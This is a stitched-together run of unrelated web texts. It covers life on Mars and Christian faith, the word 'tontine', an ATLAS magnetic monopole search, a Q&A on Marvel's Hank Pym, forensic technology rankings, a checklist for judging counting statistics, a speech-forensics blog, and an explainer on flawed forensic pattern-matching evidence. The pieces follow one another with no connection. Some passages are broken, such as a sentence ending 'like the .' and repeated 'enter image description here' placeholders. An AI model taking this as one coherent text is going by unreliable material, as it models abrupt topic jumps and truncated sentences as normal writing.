As far as I know there is no biblical issue raised by the possibility of life elsewhere in the universe than the earth. The question of life elsewhere is simply not mentioned in the Bible, so it is hard to see how this question could impact Christian faith. Could God create life elsewhere? Of course he could. Did he create life elsewhere? I have no idea and no way to even guess.
Having said that, perhaps the only place in the universe where life may now or may once have existed that humans in our lifetimes might actually be able to decide if it is true is Mars. My opinion is that it is more likely than not that very simple, bacteria-like life once existed on Mars and may even still exist under the surface of the planet. A NASA article in early 1990’s gave significant evidence that such life did indeed exist in the past. The fact is that meteorites from Mars have landed on the earth. They have been found in Antartica on top of the icecap. Some of these meteorites have shown evidence which suggests, but does not prove, that life did exist in the past in the form of microbes. It is also likely that in the past material from the earth could have entered space due to asteroid impact, which might have seeded life from the earth to Mars. Once life existed on the earth, it is not a big stretch to believe that it could have seeded such life on Mars. Bacterial spores can remain viable for thousands of years in extremes of cold and dryness.
Of course, I do not know if life existed or exists on Mars. The search for methane, a by-product of most microbial life, has not yielded much evidence. On the other hand, there definitely is enough water on the planet to support extremely simple lifeforms such as some of the extremophile microbes on the earth. We will see, and it will be fun anticipating the investigation.
John Oakes
Comments are closed. |
Merriam-Webster’s Word of the Day for January 17, 2020 is:
tontine • TAHN-teen • noun
“For denizens of the realm, tontines were a very popular twist on the annuity because they appealed to the gambling spirit. An annuity would pay you a steady trickle of money (boring). A tontine would pay you more and more as time went on because other people would be dying and you would be accumulating their shares.” — Jeff Guo, The Washington Post, 28 Sept. 2015
“Lord Deverell wanted a loan from me based upon his contribution. Wanted out of the tontine entirely, rather, but without having to go to the trouble of dying.” — Theresa Romain, Lady Notorious, 2019
Did you know?
Tontines were named after their creator, a Neapolitan banker named Lorenzo Tonti. In 1653, Tonti convinced investors to buy shares in a fund he had created. Each year, the investors earned dividends, and when one of them died, their share of the profits was redistributed among the survivors. When the last investor died, the capital reverted to the state. Louis XIV of France used tontines to save his ailing treasury and to fund municipal projects, and private tontines (where the last surviving investor—and subsequently their heirs—got the cash instead of the state) became popular throughout Europe and the U.S. Eventually, though, tontines were banned; there was just too much temptation for unscrupulous investors to bump off their fellow subscribers.
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New result in hunt for mysterious magnetic monopoles
June 12, 2019 , ATLAS Experiment
Observed 95% confidence level upper cross-section limits for Drell–Yan spin-0 (left) and spin-1/2 (right) monopole production as a function of mass. Credit: ATLAS Collaboration/CERN
Cutting a magnet in half yields two magnets, each with its own north and south pole. This apparent absence of an isolated magnetic pole, or "magnetic monopole," has puzzled physicists for more than a century. It would seem perfectly natural for a magnetic monopole to exist; Maxwell's equations would reflect complete symmetry between electricity and magnetism if particles with magnetic charge were observed. But the mystery remains: While every known particle is either electrically charged or neutral, none have been found to be magnetically charged.
In 1931, Paul Dirac formally proposed a theory for magnetic monopoles, which might be produced in conditions like the ones found at the LHC. Scientists from the ATLAS Collaboration at CERN have designed a specialized technique to search for evidence of such particles. According to Dirac, magnetic monopoles of fundamental magnetic charge (1 gD) ionize matter the same way a high-electric-charge object (HECO) would. Large energy deposits, proportional to the charge squared, would be left behind in the ATLAS detector through which these particles traveled.
Thus, a search for magnetic monopoles with these characteristics goes hand in hand with a search for stable particles of many times (more than 20) the charge of the electron. ATLAS physicists pick out collision events with characteristics expected of HECOs or magnetic monopoles from data collected by ATLAS' tracking detector and calorimeter systems for further analysis. These candidate events are identified by discriminating regions with large and narrow energy depositions in the calorimeter and corresponding traces of high ionization in the transition-radiation tracker.
The ATLAS Collaboration has released its first results from the search for magnetic monopoles and HECOs in 13 TeV proton-proton collisions. Given that no evidence of either magnetic monopoles or HECOs was observed, constraints were established on spin-0 and spin-½ particles assuming the Drell-Yan electromagnetic pair production mechanism.
To date, the search is the most sensitive study on magnetic monopoles in the range of 1 to 2 gD magnetic charge, surpassing the results of the dedicated MoEDAL experiment, which nonetheless probes a larger range. The study also improves, by approximately a factor of five, the previous constraints on the direct production of magnetic monopoles with 1 gD (see figure). Moreover, it is the first search to study HECOs with charges greater than 60 times the charge of the electron, thereby exceeding the ranges covered by previous studies by the CMS and ATLAS Collaborations.
ATLAS has once more proven to be a powerful instrument for scientific study. Through its general purpose detecting capabilities, physicists will be able to continue hunting for exotic particles like the .
More information: Search for magnetic monopoles and stable high-electric-charge objects in 13 TeV proton-proton collisions with the ATLAS detector. arXiv:1905.10130v1 [hep-ex]:
Arttu Rajantie. The search for magnetic monopoles, Physics Today (2016). DOI: 10.1063/PT.3.3328
Journal information: Physics Today
Provided by ATLAS Experiment |
To what extent has Ant Man interacted with other Marvel heroes such as the X-Men, the Avengers, the Fantastic Four, Spider-Man, etc.? Has he fought alongside them (or perhaps against them) in any of the comics? If so, how does he size up (no pun intended) against the other heroes, i.e., how did he fare fighting alongside or against them?
Ant-Man is the name of several fictional characters appearing in comics published by Marvel Comics. Ant-Man was originally the superhero persona of Doctor Henry Pym, a brilliant scientist who invented a substance that allowed him to change his size. Hank Pym was created by Stan Lee, Larry Lieber, and Jack Kirby and first appeared in Tales to Astonish#27 (Jan. 1962); his first appearance as Ant-Man was in Tales to Astonish #35 (Sept. 1962).
• After Pym retired his Ant-Man identity, successors Scott Lang and Eric O'Grady have used Pym's technology to take on the role of Ant-Man.
As to whether Doctor Pym has interacted with other characters in the Marvel Universe:
• He has worked with all of the heavies of the Marvel Universe, particularly if science was involved. He has worked on more than one occasion with Reed Richards of the Fantastic Four.
• He has performed a variety of scientific endeavors with other Avengers including Tony Stark, Dr. Hank McCoy (the Beast), the Vision, Peter Parker and the Black Panther. He has studied the powers of Wonder Man, helped to repair and modify the Vision.
• As a fighter, Pym admitted his failings but used science to augment his merely human abilities, particularly during his periods as Giant-Man and Goliath. He augmented the fighting ability of the early Avengers as Giant-Man but would eventually become the scientific mind behind the team and would later mentor the Young Avengers.
• His human body would never give him the durability of the Hulk, the damage dealing capacity of Thor or Iron Man and would part of the inferiority complex along with his bipolar psychology, which would lead to his descent into madness.
enter image description here
Hank Pym, is a certified creative genius:
• His expertise includes cybernetics, genetic manipulation, robotics, computer design, computer programming, extra-dimensional realms, subspace, and artificial intelligence.
• Creating his cybernetic helmet he would be able to communicate intelligently with ants thus giving himself an army of tiny helpers or tiny informants depending on his needs.
• Before he could fly, he would use a catapult to launch himself into the air before landing on a pillow of ants... He would later decide to figure out how to ride on the back of a winged ant named Korr for increased mobility. Pym and his wife had a career fighting crime even before they became founding members of the Avengers.
• He developed the serum which would later give him access to the size-changing extra-dimensional material he would dub "Pym Particles".
enter image description here
• His "Pym Particles" would give him both the power to alter his size from the size of an ant to over one hundred feet tall. In his identity as Giant-Man (and later Goliath) his serum would also give him superhuman strength in his giant forms. Unfortunately, it was almost always limited by the strain on his Human physiology. At his tallest, he was capable of moving weights of 100+ tons for a limited time.
• He would also genetically engineer his future wife Janet Van Dyne, giving her the power to change her size and develop insect-like wings when she shrank. He also bio-engineered an energy blast capacity she called her "Wasp's Sting". He would upgrade it several times during her career as well.
enter image description here
• He would create the artificial and developing intelligence which would become the greatest recurrent threat to the Avengers and the world at large. His sentient robot, Ultron would grow to be one of the greatest threats the world had ever known.
enter image description here
• Ultron, whose mind is patterned from Pym's, would create the Vision from the body of the Original Human Torch and a robotic companion based on Janet Van Dyne's mental engrams, who would be called Jocasta.
enter image description here
• He has acted under many memorable, identities, such as Ant-Man, Giant Man, Goliath, Yellowjacket, Doctor Pym and in homage to his dead wife, he became the Wasp. For a time he would give up his superheroic identity, due to the strain of changing size and became the adventurer, Doctor Pym. While he could no longer change size, he could carry around any number of devices exposed to Pym Particles and could return them to normal size as needed.
• His scientific creativity made him one of the most respected scientists on the Avengers. He was also considered Earth's Scientist Supreme, as decreed by the cosmic entity, Eternity.
enter image description here Here in his identity as the Wasp, Pym is confronted by Eternity and revealed to be The Scientist Supreme of Earth.
enter image description here
He would also suffer greatly:
• He is a sufferer of mental illness. His bipolar activity would cause him to be at least for a time, considered a wife abuser.
• He would be partially responsible for the transfer of the mental engrams of Janet Van Dyne to the android, Jocasta.
• His imbalance would lead him, because of a personal inferiority complex, to seek greater power and greater risks for himself and the Avengers.
• Ultron would during the course of its robotic reign of terror be responsible for untold deaths and destruction, affecting events around the world.
• He would eventually be merged with his most terrible creation, Ultron. He would be declared deceased though his mind is trapped inside of the robotic body of Ultron.
enter image description here
Doctor Hank Pym had an amazing career as a hero in the Marvel Universe, he was both brilliant and flawed, that rare combination of hero who struggles to achieve greatness and is often destroyed by his quest for it. For all of his trials, his successes and failures, Doctor Pym is a legendary member of the Avengers.
See Also: Why is Ant-Man so strong when he is so small?
See Also: Is Marvel's Antman ripped off from DC's Atom?
• 3
Wow. This answer really makes me wish that we were seeing Hank Pym as the main Ant Man in the Marvel Cinematic Universe, rather than Scott Land. His internal struggles, flaws and psyche seem fascinating. +1 – Dr R Dizzle Jun 22 '15 at 8:00
• 5
Me too. But I think it was simply asking too much to have all the CGI required to make both the Ant-man and/or the Wasp and create a story requiring such a diverse power set and keep a story moving in an effective manner. I think Marvel has managed to do a decent job, all things considered, but Dr. Pym might have been more than Marvel was willing to risk. Pym would have been better for a more cerebral Marvel Universe. This action-oriented one has no place in it for him. And that's too bad, because he is a compelling character if written well. – Thaddeus Howze Jun 22 '15 at 9:03
• Magisterial answer, deserves upvotes! – EleventhDoctor Jul 23 '15 at 13:14
Depends on which Antman to which you are referring. Hank Pym--the original Antman--is wicked smart; comparable to the likes of Reed Richards.
Your Answer
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7 Countries with the Best Forensic Technologies via iTHINK
7 Countries with the Best Forensic Technology
7. China
6. European Network of Forensic Institutes
5. Germany
Germany also forms part of the aforementioned ENFSI.
4. South Korea
3. United Kingdom
2. The Netherlands
1.United States of America
via 7 Countries with the Best Forensic Technology — iTHINK
A counting statistic is simply a numerical count of the number of some item such as “one million missing children”, “three million homeless”, and “3.5 million STEM jobs by 2025.” Counting statistics are frequently deployed in public policy debates, the marketing of goods and services, and other contexts. Particularly when paired with an emotionally engaging story, counting statistics can be powerful and persuasive. Counting statistics can be highly misleading or even completely false. This article discusses how to evaluate counting statistics and includes a detailed list of steps to follow to evaluate a counting statistic.
Checklist for Counting Statistics
1. Find the original primary source of the statistic. Ideally you should determine the organization or individual who produced the statistic. If the source is an organization you should find out who specifically produced the statistic within the organization. If possible find out the name and role of each member involved in the production of the statistic. Ideally you should have a full citation to the original source that could be used in a high quality scholarly peer-reviewed publication.
2. What is the background, agenda, and possible biases of the individual or organization that produced the statistic? What are their sources of funding?What is their track record, both in general and in the specific field of the statistic? Many statistics are produced by “think tanks” with various ideological and financial biases and commitments.
3. How is the item being counted defined. This is very important. Many questionable statistics use a broad, often vague definition of the item paired with personal stories of an extreme or shocking nature to persuade. For example, the widely quoted “one million missing children” in the United States used in the 1980’s — and even today — rounded up from an official FBI number of about seven hundred thousand missing children, the vast majority of whom returned home safely within a short time, paired with rare cases of horrific stranger abductions and murders such as the 1981 murder of six year old Adam Walsh.
4. If the statistic is paired with specific examples or personal stories, how representative are these examples and stories of the aggregate data used in the statistic? As with the missing children statistics in the 1980’s it is common for broad definitions giving large numbers to be paired with rare, extreme examples.
5. How was the statistic measured and/or computed? At one extreme, some statistics are wild guesses by interested parties. In the early stages of the recognition of a social problem, there may be no solid reliable measurements; activists are prone to providing an educated guess. The statistic may be the product of an opinion survey. Some statistics are based on detailed, high quality measurements.
6. What is the appropriate scale to evaluate the counting statistic? For example, the United States Census estimates the total population of the United States as of July 1, 2018 at 328 million. The US Bureau of Labor Statistics estimates about 156 million people are employed full time in May 2019. Thus “3.5 million STEM jobs” represents slightly more than one percent of the United States population and slightly more than two percent of full time employees.
7. Are there independent estimates of the same or a reasonably similar statistic? If yes, what are they? Are the independent estimates consistent? If not, why not? If there are no independent estimates, why not? Why is there only one source? For example, estimates of unemployment based on the Bureau of Labor Statistics Current Population Survey (the source of the headline unemployment number reported in the news) and the Bureau’s payroll survey have a history of inconsistency.
8. Is the statistic consistent with other data and statistics that are expected to be related? If not, why doesn’t the expected relationship hold? For example, we expect low unemployment to be associated with rising wages. This is not always the case, raising questions about the reliability of the official unemployment rate from the Current Population Survey.
9. Is the statistic consistent with your personal experience or that of your social circle?If not, why not? For example, I have seen high unemployment rates among my social circle at times when the official unemployment rate was quite low.
10. Does the statistic feel right? Sometimes, even though the statistic survives detailed scrutiny — following the above steps — it still doesn’t seem right. There is considerable controversy over the reliability of intuition and “feelings.” Nonetheless, many people believe a strong intuition often proves more accurate than a contradictory “rational analysis.” Often if you meditate on an intuition or feeling, more concrete reasons for the intuition will surface.
(C) 2019 by John F. McGowan, Ph.D.
About Me
via How to Evaluate a Counting Statistic — Mathematical Software
8 Reasons Why I love Forensics via Emily Leong
I get to talk about topics that matter to me
In forensics, I get to choose the topics for all my speeches. This means that they’re very personal and matter a lot to me. Issues like racism, homophobia, and gun control are all topics I’ve done speeches on. Being able to have a space to express my opinions, and to hear other opinions has been really empowering for me.
I can express myself
Forensics isn’t just all formal speeches. Most of the events I do is under the interpretation genre, meaning that my speeches are more like acting than formal informative or persuasive speeches. Being able to express myself through my speeches has been a great stress reliever for me.
Being in interpretation events, I get to have a bigger creative licence with my speeches. This allows me to get creative with what I do with my movements and gestures. This creative side of forensics turns words into art.
Life Skills
Through this activity, I’ve developed the important life skill of public speaking. Many people who have not done forensics fear public speaking, but because I have grown such an affinity for it, speeches, and class presentations are much easier, and come quite natural to me.
I have met so many wonderful people through this activity. Most of my closest friends are on my team, and I’ve met so many beautiful people from other teams who are so inspiring, beautiful, and kind.
State Team Goofy
I stay informed
Most topics in Forensics are about either politics or current events. This means that I am not informed during tournaments, but motivated to read and watch more news, and stay current outside of tournaments. Staying informed on current events now has become important to my daily life.
Especially in college, forensics is a great way to travel to new places. The spring of 2018, my team traveled to Nashville, Tennessee for the Pi Kappa Delta national tournament. It was great to explore the city, and I can’t wait to have the opportunity to travel more.
Confidence Booster
Forensics has helped be able to accept constructive criticism, which is something a lot of people need to work on. It also has allowed me to feel good about the work I put into each and every one of my speeches. Forensics has given me a space where I feel confident about myself.
Of course, a proper team is not complete without the proper attire. Suits are the norm at tournaments, and if you dig around enough on Ebay or at Goodwill, you’re able to find some great pieces. Suits can be a great conversation starter with another competitor. A good suit is essential for forensics.
Ecc Tessa Suit
via 8 Reasons Why I love Forensics — Emily Leong
Forensic Failures Described via Law in Focus @ CSIDDS |
Faulty Forensics: Explained
By Jessica Brand
(West Midlands Police / Flickr [CC])
In 1992, three homemade bombs exploded in seemingly random locations around Colorado. When police later learned that sometime after the bombs went off, Jimmy Genrich had requested a copy of The Anarchist Cookbook from a bookstore, he became their top suspect. In a search of his house, they found no gunpowder or bomb-making materials, just some common household tools — pliers and wire cutters. They then sent those tools to their lab to see if they made markings or toolmarks similar to those found on the bombs.
At trial, forensic examiner John O’Neil matched the tools to all three bombs and, incredibly, to an earlier bomb from 1989 that analysts believed the same person had made — a bomb Genrich could not have made because he had an ironclad alibi. No research existed showing that tools such as wire cutters or pliers could leave unique markings, nor did studies show that examiners such as O’Neil could accurately match markings left by a known tool to those found in crime scene evidence. And yet O’Neil told the jury it was no problem, and that the marks “matched … to the exclusion of any other tool” in the world. Based on little other evidence, the jury convicted Genrich.
Twenty-five years later, the Innocence Project is challenging Genrich’s conviction and the scientific basis of this type of toolmark testimony, calling it “indefensible.” [Meehan Crist and Tim Requarth / The Nation]
There are literally hundreds of cases like this, where faulty forensic testimony has led to a wrongful conviction. And yet as scientists have questioned the reliability and validity of “pattern-matching” evidence — such as fingerprints, bite marks, and hair — prosecutors are digging in their heels and continuing to rely on it. In this explainer, we explore the state of pattern-matching evidence in criminal trials.
What is pattern-matching evidence?
In a pattern-matching, or “feature-comparison,” field of study, an examiner evaluates characteristics visible on evidence found at the crime scene — e.g., a fingerprint, a marking on a fired bullet (“toolmark”), handwriting on a note — and compares those features to a sample collected from a suspect. If the characteristics, or patterns, look the same, the examiner declares a match. [Jennifer Friedman & Jessica Brand / Santa Clara Law Review]
Typical pattern-matching fields include the analysis of latent fingerprints, microscopic hair, shoe prints and footwear, bite marks, firearms, and handwriting. [“A Path Forward” / National Academy of Sciences”] Examiners in almost every pattern-matching field follow a method of analysis called “ACE-V” (Analyze a sample, Compare, Evaluate — Verify). [Jamie Walvisch / Phys.org]
Here are two common types of pattern-matching evidence:
Fingerprints: Fingerprint analysts try to match a print found at the crime scene (a “latent” print) to a suspect’s print. They look at features on the latent print — the way ridges start, stop, and flow, for example — and note those they believe are “significant.” Analysts then compare those features to ones identified on the suspect print and determine whether there is sufficient similarity between the two. (Notably, some analysts will deviate from this method and look at the latent print alongside the suspect’s print before deciding which characteristics are important.) [President’s Council of Advisors on Science and Technology]
Firearms: Firearm examiners try to determine if shell casings or bullets found at a crime scene are fired from a particular gun. They examine the collected bullets through a microscope, mark down characteristics, and compare these to characteristics on bullets test-fired from a known gun. If there is sufficient similarity, they declare a match. [“A Path Forward” / National Academy of Sciences”]
What’s wrong with pattern-matching evidence?
There are a number of reasons pattern-matching evidence is deeply flawed, experts have found. Here are just a few:
These conclusions are based on widely held, but unproven, assumptions.
The idea that handwriting, fingerprints, shoeprints, hair, or even markings left by a particular gun, are unique is fundamental to forensic science. The finding of a conclusive match, between two fingerprints for example, is known as “individualization.” [Kelly Servick / Science Mag]
However, despite this common assumption, examiners actually have no credible evidence or proof that hair, bullet markings, or things like partial fingerprints are unique — in any of these pattern matching fields.
In February 2018, The Nation conducted a comprehensive study of forensic pattern-matching analysis (referenced earlier in this explainer, in relation to Jimmy Genrich). The study revealed “a startling lack of scientific support for forensic pattern-matching techniques.” Disturbingly, the authors also described “a legal system that failed to separate nonsense from science in capital cases; and consensus among prosecutors all the way up to the attorney general that scientifically dubious forensic techniques should not only be protected, but expanded.” [Meehan Crist and Tim Requarth / The Nation]
Similarly, no studies show that one person’s bite mark is unique and therefore different from everyone else’s bite mark in the world. [Radley Balko / Washington Post] No studies show that all markings left on bullets by guns are unique. [Stephen Cooper / HuffPost] And no studies show that one person’s fingerprints — unless perhaps a completely perfect, fully rolled print — are completely different than everyone else’s fingerprints. It’s just assumed. [Sarah Knapton / The Telegraph]
Examiners often don’t actually know whether certain features they rely upon to declare a “match” are unique or even rare.
On any given Air Jordan sneaker, there are a certain number of shared characteristics: a swoosh mark, a tread put into the soles. That may also be true of handwriting. Many of us were taught to write cursive by tracing over letters, after all, so it stands to reason that some of us may write in similar ways. But examiners do not know how rare certain features are, like a high arch in a cursive “r” or crossing one’s sevens. They therefore can’t tell you how important, or discriminating, it is when they see shared characteristics between handwriting samples. The same may be true of characteristics on fingerprints, marks left by teeth, and the like. [Jonathan Jones / Frontline]
There are no objective standards to guide how examiners reach their conclusions.
How many characteristics must be shared before an examiner can definitively declare “a match”? It is entirely up to the discretion of the individual examiner, based on what the examiner usually chalks up to “training and experience.” Think Goldilocks. Once she determines the number that is “just right,” she can pick. “In some ways, the process is no more complicated than a child’s picture-matching game,” wrote the authors of one recent article. [Liliana Segura & Jordan Smith / The Intercept] This is true for every pattern-matching field — it’s almost entirely subjective. [“A Path Forward” / National Academy of Sciences”]
Unsurprisingly, this can lead to inconsistent and incompatible conclusions.
In Davenport, Iowa, police searching a murder crime scene found a fingerprint on a blood-soaked cigarette box. That print formed the evidence against 29-year-old Chad Enderle. At trial, prosecutors pointed to seven points of similarity between the crime scene print and Enderle’s print to declare a match. But was that enough? Several experts hired by the newspaper to cover the case said they could not draw any conclusions about whether it matched Enderle. But the defense lawyer didn’t call an expert and the jury convicted Enderle. [Susan Du, Stephanie Haines, Gideon Resnick & Tori Simkovic / The Quad-City Times]
Why faulty forensics persist
Despite countless errors like these, experts continue to use these flawed methods and prosecutors still rely on their results. Here’s why:
Experts are often overconfident in their abilities to declare a match.
These fields have not established an “error rate” — an estimate of how often examiners erroneously declare a “match,” or how often they find something inconclusive or a non-match when the items are from the same source. Even if your hair or fingerprints are “unique,” if experts can’t accurately declare a match, that matters. [Brandon L. Garrett / The Baffler]
Analysts nonetheless give very confident-sounding conclusions — and juries often believe them wholesale. “To a reasonable degree of scientific certainty” — that’s what analysts usually say when they declare a match, and it sounds good. But it actually has no real meaning. As John Oliver explained on his HBO show: “It’s one of those terms like basic or trill that has no commonly understood definition.” [John Oliver / Last Week Tonight] Yet, in trial after trial, jurors find these questionable conclusions extremely persuasive. [Radley Balko / Washington Post]
Why did jurors wrongfully convict Santae Tribble of murdering a Washington, D.C., taxi driver, despite his rock-solid alibi supported by witness testimony? “The main evidence was the hair in the stocking cap,” a juror told reporters. “That’s what the jury based everything on.” [Henry Gass / Christian Science Monitor]
But it was someone else’s hair. Twenty-eight years later, after Tribble had served his entire sentence, DNA evidence excluded him as the source of the hair. Incredibly, DNA analysis established that one of the crime scene hairs, initially identified by an examiner as a human hair, belonged to a dog. [Spencer S. Hsu / Washington Post]
Labs are not independent — and that can lead to biased decision-making.
Crime labs are often embedded in police departments, with the head of the lab reporting to the head of the police department. [“A Path Forward” / National Academy of Sciences] In some places, prosecutors write lab workers’ performance reviews. [Radley Balko / HuffPost] This gives lab workers an incentive to produce results favorable to the government. Research has also shown that lab technicians can be influenced by details of the case and what they expect to find, a phenomenon known as “cognitive bias.” [Sue Russell / Pacific Standard]
Lab workers may also have a financial motive. According to a 2013 study, many crime labs across the country received money for each conviction they helped obtain. At the time, statutes in Florida and North Carolina provided remuneration only “upon conviction”; Alabama, Arizona, California, Missouri, Wisconsin, Tennessee, New Mexico, Kentucky, New Jersey, and Virginia had similar fee-based systems. [Jordan Michael Smith / Business Insider]
In North Carolina, a state-run crime lab produced a training manual that instructed analysts to consider defendants and their attorneys as enemies and warned of “defense whores” — experts hired by defense attorneys. [Radley Balko / Reason]
Courts are complicit
Despite its flaws, judges regularly allow prosecutors to admit forensic evidence. In place of hearings, many take “judicial notice” of the field’s reliability, accepting as fact that the field is accurate without requiring the government to prove it. As Radley Balko from the Washington Post writes: “Judges continue to allow practitioners of these other fields to testify even afterthe scientific community has discredited them, and even after DNA testing has exonerated people who were convicted, because practitioners from those fields told jurors that the defendant and only the defendant could have committed the crime.” [Radley Balko / Washington Post]
In Blair County, Pennsylvania, in 2017, Judge Jolene G. Kopriva ruled that prosecutors could present bite mark testimony in a murder trial. Kopriva didn’t even hold an evidentiary hearing to examine whether it’s a reliable science, notwithstanding the mounting criticism of the field. Why? Because courts have always admitted it. [Kay Stephens / Altoona Mirror]
Getting it wrong
Not surprisingly, flawed evidence leads to flawed outcomes. According to the Innocence Project, faulty forensic testimony has contributed to 46 percent of all wrongful convictions in cases with subsequent DNA exonerations. [Innocence Project] Similarly, UVA Law Professor Brandon Garrett examined legal documents and trial transcripts for the first 250 DNA exonerees, and discovered that more than half had cases tainted by “invalid, unreliable, concealed, or erroneous forensic evidence.” [Beth Schwartzapfel / Newsweek]
Hair analysis
In 2015, the FBI admitted that its own examiners presented flawed microscopic hair comparison testimony in over 95 percent of cases over a two-decade span. Thirty-three people had received the death penalty in those cases, and nine were executed. [Pema Levy / Mother Jones] Kirk Odom, for example, was wrongfully imprisoned for 22 years because of hair evidence. Convicted of a 1981 rape and robbery, he served his entire term in prison before DNA evidence exonerated him in 2012. [Spencer S. Hsu / Washington Post]
In 1985, in Springfield, Massachusetts, testimony from a hair matching “expert” put George Perrot in prison — where he stayed for 30 years — for a rape he did not commit. The 78-year-old victim said Perrot was not the assailant, because, unlike the rapist, he had a beard. Nonetheless, the prosecution moved forward on the basis of a single hair found at the scene that the examiner claimed could only match Perrot. Three decades later, a court reversed the conviction after finding no scientific basis for a claim that a specific person is the only possible source of a hair. Prosecutors have dropped the charges. [Danny McDonald / Boston Globe]
In 1982, police in Nampa, Idaho, charged Charles Fain with the rape and murder of a 9-year-old girl. The government claimed Fain’s hair matched hair discovered at the crime scene. A jury convicted him and sentenced him to death. DNA testing later exonerated him, and, in 2001, after he’d spent two decades in prison, a judge overturned his conviction. [Raymond Bonner / New York Times]
Bite mark analysis
In 1999, 26 members of the American Board of Forensic Odontologyparticipated in an informal proficiency test regarding their work on bite marks. They were given seven sets of dental molds and asked to match them to four bite marks from real cases. They reached erroneous results 63 percent of the time. [60 Minutes] One bite mark study has shown that forensic dentists can’t even determine if a bite mark is caused by human teeth. [Pema Levy / Mother Jones]
That didn’t keep bite mark “expert” Michael West from testifying in trial after trial. In 1994, West testified that the bite mark pattern found on an 84-year-old victim’s body matched Eddie Lee Howard’s teeth. Based largely on West’s testimony, the jury convicted Howard and sentenced him to death. Experts have since called bite mark testimony “scientifically unreliable.” And sure enough, 14 years later, DNA testing on the knife believed to be the murder weapon excluded Howard as a contributor. Yet the state continues to argue that Howard’s conviction should be upheld on the basis of West’s testimony. [Radley Balko / Washington Post]
West, who in 1994 was suspended from the American Board of Forensic Odontology and basically forced to resign in 2006, is at least partially responsible for several other wrongful convictions as well. [Radley Balko / Washington Post]
West himself has even discredited his own testimony, now stating that he “no longer believe[s] in bite mark analysis. I don’t think it should be used in court.” [Innocence Project]
Fingerprint analysis
The FBI has found that fingerprint examiners could have an error rate, or false match call, as high as 1 in 306 cases, with another study indicating examiners get it wrong as often as 1 in every 18 cases. [Jordan Smith / The Intercept] A third study of 169 fingerprint examiners found a 7.5 percent false negative rate (where examiners erroneously found prints came from two different people), and a 0.1 percent false positive rate. [Kelly Servick / Science Mag]
In 2004, police accused American attorney Brandon Mayfield of the notorious Madrid train bombing after experts claimed his fingerprint matched one found on a bag of detonators. Eventually, four experts agreed with this finding. Police arrested him and detained him for two weeks until the police realized their mistake and were forced to release him. [Steve Pokin / Springfield News-Leader]
In Boston, Stephan Cowans was convicted, in part on fingerprint evidence, in the 1997 shooting of a police officer. But seven years later, DNA evidence exonerated him and an examiner stated that the match was faulty. [Innocence Project]
A 2012 review of the St. Paul, Minnesota, crime lab found that over 40 percent of fingerprint cases had “seriously deficient work.” And “[d]ue to the complete lack of annotation of actions taken during the original examination process, it is difficult to determine the examination processes, including what work was attempted or accomplished.” [Madeleine Baran / MPR News]
Firearm analysis
According to one study, firearm examiners may have a false positive rate as high as 2.2 percent, meaning analysts may erroneously declare a match as frequently as 1 in 46 times. This is a far cry from the “near perfect” accuracy that examiners often claim. [President’s Council of Advisors on Science and Technology]
In 1993, a jury convicted Patrick Pursley of murder on the basis of firearms testimony. The experts declared that casings and bullets found on the scene matched a gun linked to Pursley “to the exclusion of all other firearms.” Years later, an expert for the state agreed that the examiner should never have made such a definitive statement. Instead, he should have stated that Pursley’s gun “couldn’t be eliminated.” In addition, the defense’s experts found that Pursley’s gun was not the source of the crime scene evidence. Digital imaging supported the defense. [Waiting for Justice / Northwestern Law Bluhm Legal Clinic] In 2017, a court granted Pursley a new trial. [Georgette Braun / Rockford Register Star]
Rethinking faulty forensics
Scientists from across the country are calling for the justice system to rethink its willingness to admit pattern-matching evidence.
In 2009, the National Research Council of the National Academy of Science released a groundbreaking report concluding that forensic science methods “typically lack mandatory and enforceable standards, founded on rigorous research and testing, certification requirements, and accreditation programs.” [Peter Neufeld / New York Times]
In 2016, the President’s Council of Advisors on Science and Technology (PCAST), a group of pre-eminent scientists, issued a scathing report on pattern-matching evidence. The report concluded that most of the field lacked “scientific validity” — i.e., research showing examiners could accurately and reliably do their jobs. [Jordan Smith / The Intercept] Until the field conducted better research proving its accuracy, the Council stated that forensic science had no place in the American courtroom. The study found that, regarding bite mark analysis, the error rate was so high that resources shouldn’t be wasted to attempt to show it can be used accurately. [Radley Balko / Washington Post]
After the PCAST report came out, then-Attorney General Loretta Lynch, citing no studies, stated emphatically that “when used properly, forensic science evidence helps juries identify the guilty and clear the innocent.” [Jordan Smith / The Intercept] “We appreciate [PCAST’s] contribution to the field of scientific inquiry,” Lynch said, “[but] the department will not be adopting the recommendations related to the admissibility of forensic science evidence.” [Radley Balko / Washington Post]
The National District Attorneys Association (NDAA) called the PCAST report “scientifically irresponsible.” [Jessica Pishko / The Nation] “Adopting any of their recommendations would have a devastating effect on the ability of law enforcement, prosecutors and the defense bar to fully investigate their cases, exclude innocent suspects, implicate the guilty, and achieve true justice at trial,” the association noted. [Rebecca McCray / Take Part]
The NDAA also wrote that PCAST “clearly and obviously disregard[ed] large bodies of scientific evidence … and rel[ied], at times, on unreliable and discredited research.” But when PCAST sent out a subsequent request for additional studies, neither the NDAA nor the Department of Justice identified any. [PCAST Addendum]
This problem is getting worse under the current administration. Attorney General Jeff Sessions has disbanded the National Commission on Forensic Science, formed to improve both the study and use of forensic science, and which had issued over 40 consensus recommendation documents to improve forensic science. [Suzanne Bell / Slate] He then developed a DOJ Task Force on Crime Reduction and Public Safety, tasked with “support[ing] law enforcement” and “restor[ing] public safety.” [Pema Levy / Mother Jones]
But there are also new attempts to rein in the use of disproven forensic methods. In Texasthe Forensic Science Commission has called for a ban on bite marks. “I think pretty much everybody agrees that there is no scientific basis for a statistical probability associated with a bite mark,” said Dr. Henry Kessler, chair of the subcommittee on bite mark analysis. [Meagan Flynn / Houston Press]
A bill before the Virginia General Assembly, now carried over until 2019, would provide individuals convicted on now-discredited forensic science a legal avenue to contest their convictions. The bill is modeled after similar legislation enacted in Texas and California. The Virginia Commonwealth’s Attorneys Association opposes the legislation, arguing: “It allows all sorts of opportunities to ‘game’ the system.” [Frank Green / Richmond Times-Dispatch]
Meanwhile, at least one judge has recognized the danger of forensic expert testimony. In a 2016 concurrence, Judge Catherine Easterly of the D.C. Court of Appeals lambasted expert testimony about toolmark matching: “As matters currently stand, a certainty statement regarding toolmark pattern matching has the same probative value as the vision of a psychic: it reflects nothing more than the individual’s foundationless faith in what he believes to be true. This is not evidence on which we can in good conscience rely, particularly in criminal cases … [T]he District of Columbia courts must bar the admission of these certainty statements, whether or not the government has a policy that prohibits their elicitation. We cannot be complicit in their use.” [Spencer S. Hsu / Washington Post]
